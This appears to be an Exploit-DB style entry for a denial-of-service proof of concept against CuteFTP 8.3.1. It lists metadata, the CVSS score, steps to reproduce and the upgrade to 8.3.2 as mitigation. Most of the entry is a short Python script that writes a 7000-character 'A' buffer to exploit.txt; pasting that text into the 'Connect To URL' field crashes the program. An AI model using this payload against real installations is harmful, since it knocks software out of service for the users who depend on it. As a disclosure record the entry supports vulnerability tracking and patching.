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vendor:
CuteFTP
by:
Ali Alipour
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: CuteFTP
Affected Version From: 8.3.1
Affected Version To: 8.3.1
Patch Exists: YES
Related CWE: N/A
CPE: a:globalscape:cuteftp:8.3.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 - 64-bit
2018

CuteFTP 8.3.1 – Denial Of Service (PoC)

Run the python exploit script, it will create a new file with the name 'exploit.txt' just copy the text inside 'exploit.txt' and start the CuteFTP program. In the new window click 'File' > 'Connect' > 'Connect To URL'. Now Paste the content of 'exploit.txt' into the field: 'Connect To URL'. Click 'OK' and you will see a crash.

Mitigation:

Upgrade to the latest version of CuteFTP 8.3.2 or later.
Source

Exploit-DB raw data:

# Exploit Title : CuteFTP 8.3.1 - Denial Of Service (PoC)
# Exploit Author : Ali Alipour
# WebSite : Alipour.it
# Date: 2018-08-22
# Vendor Homepage : http://www.cuteftp.com/
# Software Link Download : https://filehippo.com/download_cuteftp_pro/4518/
# Tested on : Windows 10 - 64-bit

# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CuteFTP program. 
# In the new window click "File" > "Connect" > "Connect To URL" . 
# Now Paste the content of "exploit.txt" into the field: " Connect To URL ". 
# Click "OK" and you will see a crash.

#!/usr/bin/python
    
buffer = "A" * 7000
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"